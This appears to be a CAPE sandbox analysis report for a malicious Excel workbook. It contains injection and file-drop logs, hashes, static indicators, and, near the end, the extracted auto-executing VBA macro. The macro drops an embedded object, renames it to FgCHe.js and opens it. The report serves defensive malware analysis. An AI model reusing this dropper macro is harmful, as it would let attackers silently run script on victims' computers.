2025-12-06 18:06:01,589 [root] DEBUG: 4804: OpenProcessHandler: Injection info created for process 4336, handle 0xc38: Error obtaining target process name
2025-12-06 18:06:01,589 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
2025-12-06 18:06:01,589 [root] DEBUG: 4804: OpenProcessHandler: Injection info created for process 4432, handle 0x1e10: Error obtaining target process name
2025-12-06 18:06:06,667 [root] DEBUG: 3476: api-cap: GetAsyncKeyState hook disabled due to count: 5000
2025-12-06 18:06:10,011 [root] DEBUG: 4804: OpenProcessHandler: Image base for process 4336 (handle 0xc10): 0x00007FF6AE2A0000.
2025-12-06 18:06:10,011 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat
2025-12-06 18:06:10,027 [root] DEBUG: 3476: DLL loaded at 0x67F70000: C:\Windows\SYSTEM32\sxs (0x87000 bytes).
2025-12-06 18:06:11,042 [root] DEBUG: 4804: OpenProcessHandler: Image base for process 3476 (handle 0xc10): 0x00000000002E0000.
2025-12-06 18:06:35,496 [root] DEBUG: 3476: CreateProcessHandler: Injection info set for new process 3304: C:\Windows\splwow64.exe, ImageBase: 0x00000000
2025-12-06 18:06:35,496 [root] INFO: Announced 64-bit process name: splwow64.exe pid: 3304
2025-12-06 18:06:35,496 [lib.api.process] INFO: Monitor config for <Process 3304 splwow64.exe>: C:\tmpodgh_435\dll\3304.ini
2025-12-06 18:06:35,496 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpodgh_435\dll\LHradFS.dll, loader C:\tmpodgh_435\bin\hirsWgiZ.exe
2025-12-06 18:06:35,496 [root] DEBUG: Loader: Injecting process 3304 (thread 1652) with C:\tmpodgh_435\dll\LHradFS.dll.
2025-12-06 18:06:35,496 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-06 18:06:35,496 [root] DEBUG: Successfully injected DLL C:\tmpodgh_435\dll\LHradFS.dll.
2025-12-06 18:06:35,496 [lib.api.process] INFO: Injected into 64-bit <Process 3304 splwow64.exe>
2025-12-06 18:06:35,511 [root] DEBUG: 3304: Python path set to 'C:\Python38'.
2025-12-06 18:06:35,511 [root] DEBUG: 3304: Dropped file limit defaulting to 100.
2025-12-06 18:06:35,511 [root] INFO: Disabling sleep skipping.
2025-12-06 18:06:35,511 [root] DEBUG: 3304: YaraInit: Compiled rules loaded from existing file C:\tmpodgh_435\data\yara\capemon.yac
2025-12-06 18:06:35,511 [root] DEBUG: 3304: GetAddressByYara: ModuleBase 0x00007FFCF7D30000 FunctionName RtlInsertInvertedFunctionTable
2025-12-06 18:06:35,527 [root] DEBUG: 3304: RtlInsertInvertedFunctionTable 0x00007FFCF7D4090E, LdrpInvertedFunctionTableSRWLock 0x00007FFCF7E9D510
2025-12-06 18:06:35,527 [root] DEBUG: 3304: YaraScan: Scanning 0x00007FF6C66E0000, size 0x2c346
2025-12-06 18:06:35,527 [root] DEBUG: Error 5 (0x5) - AmsiDumper: Is CAPE agent running elevated? Initialisation failed: Access is denied.
2025-12-06 18:06:35,527 [root] DEBUG: 3304: Monitor initialised: 64-bit capemon loaded in process 3304 at 0x00007FFCD3CD0000, thread 1652, image base 0x00007FF6C66E0000, stack from 0x00000000004E5000-0x00000000004F0000
2025-12-06 18:06:35,527 [root] DEBUG: 3304: Commandline: C:\Windows\splwow64.exe 8192
2025-12-06 18:06:35,543 [root] DEBUG: 3304: hook_api: LdrpCallInitRoutine export address 0x00007FFCF7D499BC obtained via GetFunctionAddress
2025-12-06 18:06:35,543 [root] DEBUG: 3304: hook_api: Warning - CoCreateInstance export address 0x00007FFCF69442CB differs from GetProcAddress -> 0x00007FFCF64AA420 (combase.dll::0x2a420)
2025-12-06 18:06:35,543 [root] DEBUG: 3304: hook_api: Warning - CoCreateInstanceEx export address 0x00007FFCF694430A differs from GetProcAddress -> 0x00007FFCF6524180 (combase.dll::0xa4180)
2025-12-06 18:06:35,543 [root] DEBUG: 3304: hook_api: Warning - CoGetClassObject export address 0x00007FFCF694489A differs from GetProcAddress -> 0x00007FFCF64AEB00 (combase.dll::0x2eb00)
2025-12-06 18:06:35,543 [root] DEBUG: 3304: hook_api: Warning - CLSIDFromProgID export address 0x00007FFCF6943B16 differs from GetProcAddress -> 0x00007FFCF6528570 (combase.dll::0xa8570)
2025-12-06 18:06:35,543 [root] DEBUG: 3304: hook_api: Warning - CLSIDFromProgIDEx export address 0x00007FFCF6943B53 differs from GetProcAddress -> 0x00007FFCF6528A40 (combase.dll::0xa8a40)
2025-12-06 18:06:35,543 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-06 18:06:35,543 [root] DEBUG: 3304: set_hooks: Unable to hook LockResource
2025-12-06 18:06:35,558 [root] DEBUG: 3304: Hooked 605 out of 606 functions
2025-12-06 18:06:35,558 [root] DEBUG: 3304: Syscall hook installed, syscall logging level 1
2025-12-06 18:06:35,558 [root] INFO: Loaded monitor into process with pid 3304
2025-12-06 18:06:35,558 [root] DEBUG: 3304: caller_dispatch: Added region at 0x00007FF6C66E0000 to tracked regions list (kernel32::SetUnhandledExceptionFilter returns to 0x00007FF6C66F28F1, thread 1652).
2025-12-06 18:06:35,558 [root] DEBUG: 3304: YaraScan: Scanning 0x00007FF6C66E0000, size 0x2c346
2025-12-06 18:06:35,558 [root] DEBUG: 3304: ProcessImageBase: Main module image at 0x00007FF6C66E0000 unmodified (entropy change 0.000000e+00)
2025-12-06 18:06:35,558 [root] DEBUG: 3304: DLL loaded at 0x00007FFCDE4D0000: C:\Windows\SYSTEM32\SPOOLSS (0x1f000 bytes).
2025-12-06 18:06:35,558 [root] DEBUG: 3304: set_hooks_by_export_directory: Hooked 0 out of 606 functions
2025-12-06 18:06:35,558 [root] DEBUG: 3304: DLL loaded at 0x00007FFCDE490000: C:\Windows\SYSTEM32\PrintIsolationProxy (0x1d000 bytes).
2025-12-06 18:06:35,574 [root] DEBUG: 3304: set_hooks_by_export_directory: Hooked 0 out of 606 functions
2025-12-06 18:06:35,574 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF32E0000: C:\Windows\SYSTEM32\kernel.appcore (0x12000 bytes).
2025-12-06 18:06:35,574 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF5610000: C:\Windows\System32\bcryptPrimitives (0x82000 bytes).
2025-12-06 18:06:35,574 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF6280000: C:\Windows\System32\clbcatq (0xa9000 bytes).
2025-12-06 18:06:35,683 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
2025-12-06 18:06:35,683 [root] DEBUG: 3304: OpenProcessHandler: Injection info created for process 3476, handle 0x2c4: Error obtaining target process name
2025-12-06 18:06:35,698 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF7830000: C:\Windows\System32\OLEAUT32 (0xcd000 bytes).
2025-12-06 18:06:35,698 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEB580000: C:\Windows\SYSTEM32\VERSION (0xa000 bytes).
2025-12-06 18:06:35,698 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0EA0000: C:\Windows\SYSTEM32\prntvpt (0x32000 bytes).
2025-12-06 18:06:35,698 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF52D0000: C:\Windows\SYSTEM32\USERENV (0x2e000 bytes).
2025-12-06 18:06:35,698 [root] DEBUG: 3304: DLL loaded at 0x00007FFCD3910000: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_cce2ae2d764e8510\Amd64\PrintConfig (0x3b4000 bytes).
2025-12-06 18:06:35,714 [root] DEBUG: 3304: api-rate-cap: memcpy hook disabled due to rate
2025-12-06 18:06:35,730 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE4590000: C:\Windows\System32\msxml6 (0x25f000 bytes).
2025-12-06 18:06:35,745 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEDED0000: C:\Windows\System32\iertutil (0x2b1000 bytes).
2025-12-06 18:06:35,745 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEDEA0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-06 18:06:35,745 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF4950000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-06 18:06:35,745 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEE210000: C:\Windows\SYSTEM32\urlmon (0x1ec000 bytes).
2025-12-06 18:06:35,761 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF2DF0000: C:\Windows\system32\uxtheme (0x9e000 bytes).
2025-12-06 18:06:35,776 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0E40000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-06 18:06:35,776 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0E30000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-06 18:06:35,776 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0E60000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-06 18:06:35,823 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF5AE0000: C:\Windows\System32\cfgmgr32 (0x4e000 bytes).
2025-12-06 18:06:35,823 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE61A0000: C:\Windows\SYSTEM32\Print.PrintSupport.Source (0x61000 bytes).
2025-12-06 18:06:35,870 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE2160000: C:\Windows\System32\jscript (0xd6000 bytes).
2025-12-06 18:06:35,870 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEA140000: C:\Windows\SYSTEM32\amsi (0x1f000 bytes).
2025-12-06 18:06:35,870 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF5350000: C:\Windows\SYSTEM32\profapi (0x1f000 bytes).
2025-12-06 18:06:35,870 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE9820000: C:\Program Files\Windows Defender\MpOav (0x44000 bytes).
2025-12-06 18:06:35,902 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF51B0000: C:\Windows\SYSTEM32\sxs (0xa2000 bytes).
2025-12-06 18:06:35,948 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEA140000: C:\Windows\SYSTEM32\amsi (0x1f000 bytes).
2025-12-06 18:06:35,964 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEA140000: C:\Windows\SYSTEM32\amsi (0x1f000 bytes).
2025-12-06 18:06:36,027 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE5E70000: C:\Windows\SYSTEM32\DWrite (0x27f000 bytes).
2025-12-06 18:06:36,027 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0DA0000: C:\Windows\SYSTEM32\XmlLite (0x36000 bytes).
2025-12-06 18:06:36,027 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE2080000: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_8c12706b076a4ca4\Amd64\mxdwdrv (0xd1000 bytes).
2025-12-06 18:06:36,058 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEF220000: C:\Windows\System32\OneCoreUAPCommonProxyStub (0x7cd000 bytes).
2025-12-06 18:06:36,074 [root] DEBUG: 3304: DLL loaded at 0x00007FFCD31A0000: C:\Windows\SYSTEM32\opcservices (0x21d000 bytes).
2025-12-06 18:06:36,089 [root] DEBUG: 3304: DLL loaded at 0x00007FFCD2EE0000: C:\Windows\SYSTEM32\xpsservices (0x2bc000 bytes).
2025-12-06 18:06:36,089 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE56B0000: C:\Windows\SYSTEM32\XpsPushLayer (0x60000 bytes).
2025-12-06 18:06:36,136 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0E00000: C:\Windows\system32\FontSub (0x23000 bytes).
2025-12-06 18:06:36,167 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEA140000: C:\Windows\SYSTEM32\amsi (0x1f000 bytes).
2025-12-06 18:06:36,214 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0DF0000: C:\Windows\SYSTEM32\MSIMG32 (0x7000 bytes).
2025-12-06 18:06:36,214 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF7070000: C:\Windows\System32\SHELL32 (0x744000 bytes).
2025-12-06 18:06:36,214 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0570000: C:\Windows\system32\compstui (0x23000 bytes).
2025-12-06 18:06:36,214 [root] DEBUG: 3304: DLL loaded at 0x00007FFCE94A0000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_60b5254171f9507e\comctl32 (0x29a000 bytes).
2025-12-06 18:06:36,230 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF4DF0000: C:\Windows\SYSTEM32\Wldp (0x2e000 bytes).
2025-12-06 18:06:36,230 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF34E0000: C:\Windows\SYSTEM32\windows.storage (0x793000 bytes).
2025-12-06 18:06:36,230 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEA140000: C:\Windows\SYSTEM32\amsi (0x1f000 bytes).
2025-12-06 18:06:36,261 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEA140000: C:\Windows\SYSTEM32\amsi (0x1f000 bytes).
2025-12-06 18:06:36,292 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0DF0000: C:\Windows\SYSTEM32\MSIMG32 (0x7000 bytes).
2025-12-06 18:06:36,292 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF7070000: C:\Windows\System32\SHELL32 (0x744000 bytes).
2025-12-06 18:06:36,292 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF0570000: C:\Windows\system32\compstui (0x23000 bytes).
2025-12-06 18:06:36,308 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF4DF0000: C:\Windows\SYSTEM32\Wldp (0x2e000 bytes).
2025-12-06 18:06:36,308 [root] DEBUG: 3304: DLL loaded at 0x00007FFCF34E0000: C:\Windows\SYSTEM32\windows.storage (0x793000 bytes).
2025-12-06 18:06:36,308 [root] DEBUG: 3304: DLL loaded at 0x00007FFCEA140000: C:\Windows\SYSTEM32\amsi (0x1f000 bytes).
2025-12-06 18:07:00,120 [root] DEBUG: 4804: DLL loaded at 0x00007FFCE5780000: C:\Windows\System32\Windows.Globalization (0x1a6000 bytes).
2025-12-06 18:07:00,136 [root] DEBUG: 4804: DLL loaded at 0x00007FFCD6F30000: C:\Windows\System32\icu (0x22e000 bytes).
2025-12-06 18:07:00,136 [root] DEBUG: 4804: api-rate-cap: memcpy hook disabled due to rate
2025-12-06 18:07:01,902 [root] DEBUG: 3476: DLL loaded at 0x67F10000: C:\Windows\System32\oleacc (0x53000 bytes).
2025-12-06 18:07:44,980 [root] DEBUG: 4804: OpenProcessHandler: Image base for process 4432 (handle 0x600): 0x00007FF7FAF50000.
2025-12-06 18:07:45,011 [root] DEBUG: 4804: DLL loaded at 0x00007FFCDBBD0000: C:\Windows\SYSTEM32\capauthz (0x51000 bytes).
2025-12-06 18:07:45,042 [root] DEBUG: 4804: api-rate-cap: GetSystemMetrics hook disabled due to rate
2025-12-06 18:07:45,058 [root] DEBUG: 4804: DLL loaded at 0x00007FFCF0DF0000: C:\Windows\System32\NPSMDesktopProvider (0x38000 bytes).
2025-12-06 18:07:45,073 [root] DEBUG: 4804: DLL loaded at 0x00007FFCE5490000: C:\Windows\System32\CapabilityAccessManagerClient (0x3f000 bytes).
2025-12-06 18:07:45,073 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db
2025-12-06 18:07:45,089 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db
2025-12-06 18:07:45,136 [root] DEBUG: 4804: DLL loaded at 0x00007FFCF0590000: C:\Windows\System32\WppRecorderUM (0x7000 bytes).
2025-12-06 18:07:45,152 [root] DEBUG: 4804: DLL loaded at 0x00007FFCE2FD0000: C:\Windows\System32\BthAvctpSvc (0x64000 bytes).
2025-12-06 18:08:33,292 [root] INFO: Analysis timeout hit, terminating analysis
2025-12-06 18:08:33,292 [lib.api.process] INFO: Terminate event set for <Process 3476 EXCEL.EXE>
2025-12-06 18:08:33,292 [root] DEBUG: 3476: Terminate Event: Attempting to dump process 3476
2025-12-06 18:08:33,323 [root] DEBUG: 3476: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-06 18:08:33,339 [root] DEBUG: 3476: Terminate Event: Current region empty
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db-shm
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db-wal
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStore\Excel\ASkwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDBfTnVsbAA.S
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStore\Excel\1380790193167760279.C4
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77.xls
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1765109128236847900_D97DA1AE-2C1A-4825-BB08-AB4D047678BC.log
2025-12-06 18:08:33,339 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1765109128235947300_D97DA1AE-2C1A-4825-BB08-AB4D047678BC.log
2025-12-06 18:08:33,339 [lib.api.process] INFO: Termination confirmed for <Process 3476 EXCEL.EXE>
2025-12-06 18:08:33,339 [root] INFO: Terminate event set for process 3476
2025-12-06 18:08:33,339 [root] DEBUG: 3476: Terminate Event: CAPE shutdown complete for process 3476
2025-12-06 18:08:33,339 [lib.api.process] INFO: Terminate event set for <Process 4804 explorer.exe>
2025-12-06 18:08:33,339 [root] DEBUG: 4804: Terminate Event: Attempting to dump process 4804
2025-12-06 18:08:33,339 [root] DEBUG: 4804: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-06 18:08:33,355 [root] DEBUG: 4804: Terminate Event: Current region empty
2025-12-06 18:08:33,355 [lib.api.process] INFO: Termination confirmed for <Process 4804 explorer.exe>
2025-12-06 18:08:33,355 [root] INFO: Terminate event set for process 4804
2025-12-06 18:08:33,355 [root] DEBUG: 4804: Terminate Event: CAPE shutdown complete for process 4804
2025-12-06 18:08:33,355 [lib.api.process] INFO: Terminate event set for <Process 3304 splwow64.exe>
2025-12-06 18:08:33,355 [root] DEBUG: 3304: Terminate Event: Attempting to dump process 3304
2025-12-06 18:08:33,355 [root] DEBUG: 3304: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-06 18:08:33,355 [root] DEBUG: 3304: Terminate Event: Current region empty
2025-12-06 18:08:33,355 [lib.api.process] INFO: Termination confirmed for <Process 3304 splwow64.exe>
2025-12-06 18:08:33,355 [root] INFO: Terminate event set for process 3304
2025-12-06 18:08:33,355 [root] INFO: Created shutdown mutex
2025-12-06 18:08:33,355 [root] DEBUG: 3304: Terminate Event: CAPE shutdown complete for process 3304
2025-12-06 18:08:34,370 [root] INFO: Shutting down package
2025-12-06 18:08:34,370 [root] INFO: Stopping auxiliary modules
2025-12-06 18:08:34,370 [root] INFO: Stopping auxiliary module: Browser
2025-12-06 18:08:34,370 [root] INFO: Stopping auxiliary module: Curtain
2025-12-06 18:08:34,370 [modules.auxiliary.curtain] ERROR: Curtain - Error collecting PowerShell events - [Errno 13] Permission denied: 'C:\\curtain.log'
2025-12-06 18:08:34,370 [modules.auxiliary.curtain] ERROR: Curtain log file not found!
2025-12-06 18:08:34,370 [root] INFO: Stopping auxiliary module: End_noisy_tasks
2025-12-06 18:08:34,370 [root] INFO: Stopping auxiliary module: Evtx
2025-12-06 18:08:34,370 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Application.evtx to zip dump
2025-12-06 18:08:34,370 [root] WARNING: Cannot terminate auxiliary module Evtx: [Errno 13] Permission denied: 'C:/windows/Sysnative/winevt/Logs\\Application.evtx'
2025-12-06 18:08:34,370 [root] INFO: Stopping auxiliary module: Human
2025-12-06 18:08:44,371 [root] WARNING: Failed to join {aux} thread.
2025-12-06 18:08:44,371 [root] INFO: Stopping auxiliary module: Pre_script
2025-12-06 18:08:44,371 [root] INFO: Stopping auxiliary module: Screenshots
2025-12-06 18:08:46,371 [root] INFO: Stopping auxiliary module: Usage
2025-12-06 18:08:47,386 [root] INFO: Stopping auxiliary module: During_script
2025-12-06 18:08:47,386 [root] INFO: Finishing auxiliary modules
2025-12-06 18:08:47,386 [root] INFO: Shutting down pipe server and dumping dropped files
2025-12-06 18:08:47,386 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres to files\165a14c4211c59d3a649c89b660abbab4870f2374da66dad63c66c87a0585a9a; Size is 4542; Max size: 100000000
2025-12-06 18:08:47,402 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres to files\008ed33161308b43eefcf92c20a61f4c8011b4b4dc442166b0983eda1ca7171e; Size is 2278; Max size: 100000000
2025-12-06 18:08:47,402 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres to files\c89119f888f768aa62144c25130da51968b4284385438de8bdba2aba72a38bd7; Size is 2684; Max size: 100000000
2025-12-06 18:08:47,402 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat to files\7ab4047101e2ba8d04f95bdc33242687832ad63d7c2fcc899bd36065e6e48d9c; Size is 996; Max size: 100000000
2025-12-06 18:08:47,402 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db to files\d97ec017e99ed9ce08101b2a6cfbc5d86bd8d3291a85fba1ba7cd57fb385079b; Size is 14688; Max size: 100000000
2025-12-06 18:08:47,402 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db to files\1ec69c5de90d598e705eae66838f799a21df5b59f56a632bcadbfee88196ce4c; Size is 1048576; Max size: 100000000
2025-12-06 18:08:47,402 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db-shm to files\fe61c62de2bd06296cf0e0279200e3c4b7bb0f39a57f5bfaf8cf6ea91e83a118; Size is 32768; Max size: 100000000
2025-12-06 18:08:47,417 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db-wal to files\c3cfd356fa7e937c880c45f0e5280eacd61eae5fe16d2ef9c36f631e56442201; Size is 4152; Max size: 100000000
2025-12-06 18:08:47,433 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db to files\a8f257b04613cd3d2aadbf2fa760f19b79721663778fb44491195cd3c9d67a5f; Size is 36864; Max size: 100000000
2025-12-06 18:08:47,448 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStore\Excel\ASkwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDBfTnVsbAA.S to files\5731b3c6150d3b250b3afe664a2f9ae545a2ebe4986caba82f1871e95b46712f; Size is 103; Max size: 100000000
2025-12-06 18:08:47,448 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStore\Excel\1380790193167760279.C4 to files\c35020473aed1b4642cd726cad727b63fff2824ad68cedd7ffb73c7cbd890479; Size is 32768; Max size: 100000000
2025-12-06 18:08:47,448 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77.xls to files\e1fe3d20073f9cf7d378bb23ca4dcbb77dc1fc3a7dcf89c04d484f0176286f14; Size is 38400; Max size: 100000000
2025-12-06 18:08:47,496 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1765109128236847900_D97DA1AE-2C1A-4825-BB08-AB4D047678BC.log to files\cd52d81e25f372e6fa4db2c0dfceb59862c1969cab17096da352b34950c973cc; Size is 20971520; Max size: 100000000
2025-12-06 18:08:47,621 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1765109128235947300_D97DA1AE-2C1A-4825-BB08-AB4D047678BC.log to files\72d2565ff3783923ee1849252b6e6df7213790f31ab0a9251fac69289334f66f; Size is 20971520; Max size: 100000000
2025-12-06 18:08:47,702 [root] WARNING: Folder at path "C:\obthVYLcwy\debugger" does not exist, skipping
2025-12-06 18:08:47,702 [root] WARNING: Folder at path "C:\obthVYLcwy\tlsdump" does not exist, skipping
2025-12-06 18:08:47,702 [root] INFO: Analysis completed
| Name | Label | Manager | Started On | Shutdown On | Route |
|---|---|---|---|---|---|
| win10-64bit-tiny-1 | win10-64bit-tiny-1 | KVM | 2025-12-09 15:09:42 | 2025-12-09 15:13:06 | inetsim |
| File Name |
26bd031cb4a5333bbd77.xls
|
|---|---|
| File Type | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Eng Moha, Last Saved By: Administrator, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:17:20 2015, Last Saved Time/Date: Thu Mar 17 16:58:54 2022, Security: 0 |
| File Size | 38400 bytes |
| MD5 | 678b736d27eee36ebcf6c0843d9cb83a |
| SHA1 | 57cdf9dbc688ad5796a92c10b3b74d9155763de9 |
| SHA256 | 26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7 [VT] [MWDB] [Bazaar] |
| SHA3-384 | 03230d724a1ae6ce56df64259ea0006cac358c3a9c9e516dc19aaf9989472244498a67be9bd96ed4cedeca3e07d474a0 |
| CRC32 | 882027E3 |
| TLSH | T1EE0382A2B7D6D80AD99A03794CE6C7E63627FC615F63834B3249F70E1F71A808903617 |
| Ssdeep | 768:Fvmk3hOdsylKlgxopeiBNhZFGzE+cL2kdAJyUVs+mFz+JBgj:Qk3hOdsylKlgxopeiBNhZFGzE+cL2kde |
| Office | File Strings BinGraph Vba2Graph XLMMacros |
| author | b'Eng Moha' |
| codepage | 1252 |
| create_time | 2015-06-05 18:17:20 |
| creating_application | b'Microsoft Excel' |
| last_saved_by | b'Administrator' |
| last_saved_time | 2022-03-17 16:58:54 |
| codepage_doc | 1252 |
| version | 1048576 |
| IOCs | |
|---|---|
| Executable file name | hbhwoo.Open (lWKUE\FgCHe.js) |
| Executable file name | Name lWKUE\FgCHe.txt As lWKUE\FgCHe.js |
| AutoExec | |
|---|---|
| Workbook_Activate | Runs when the Excel Workbook is opened |
| Suspicious | |
|---|---|
| Environ | May read system environment variables |
| Open | May open a file |
| InvokeVerb | May run an executable file or a system command |
| Call | May call a DLL using Excel 4 Macros (XLM/XLF) |
| GetObject | May get an OLE object with a running instance |
| VBA Filename | ThisWorkbook | Extracted Macro |
Sub BcMv() Dim lWKUE, hbhwoo lWKUE = Environ$(Cells(2, 1)) For Each Sh In Sheet1.OLEObjects If InStr(1, Sh.Name, "Object", 1) Then Sh.Copy ' this code paste Embedded Object to folder Set hbhwoo = GetObject(Cells(1, 1)) hbhwoo.Namespace(lWKUE).Self.InvokeVerb "Paste" End If Next Sh osrJqcHPJ (lWKUE) hbhwoo.Open (lWKUE + "\FgCHe.js") End Sub Private Sub Workbook_Activate() Call BcMv End Sub Sub osrJqcHPJ(lWKUE) Name lWKUE + "\FgCHe.txt" As lWKUE + "\FgCHe.js" End Sub
| Defense Evasion | Discovery | Privilege Escalation | Execution |
|
|---|
No hosts contacted.
No domains contacted.
No hosts contacted.
No TCP connections recorded.
No UDP connections recorded.
No domains contacted.
No HTTP(s) requests performed.
No SMTP traffic performed.
No IRC requests performed.
No ICMP traffic performed.
No CIF Results
No Suricata Alerts
No Suricata TLS
No Suricata HTTP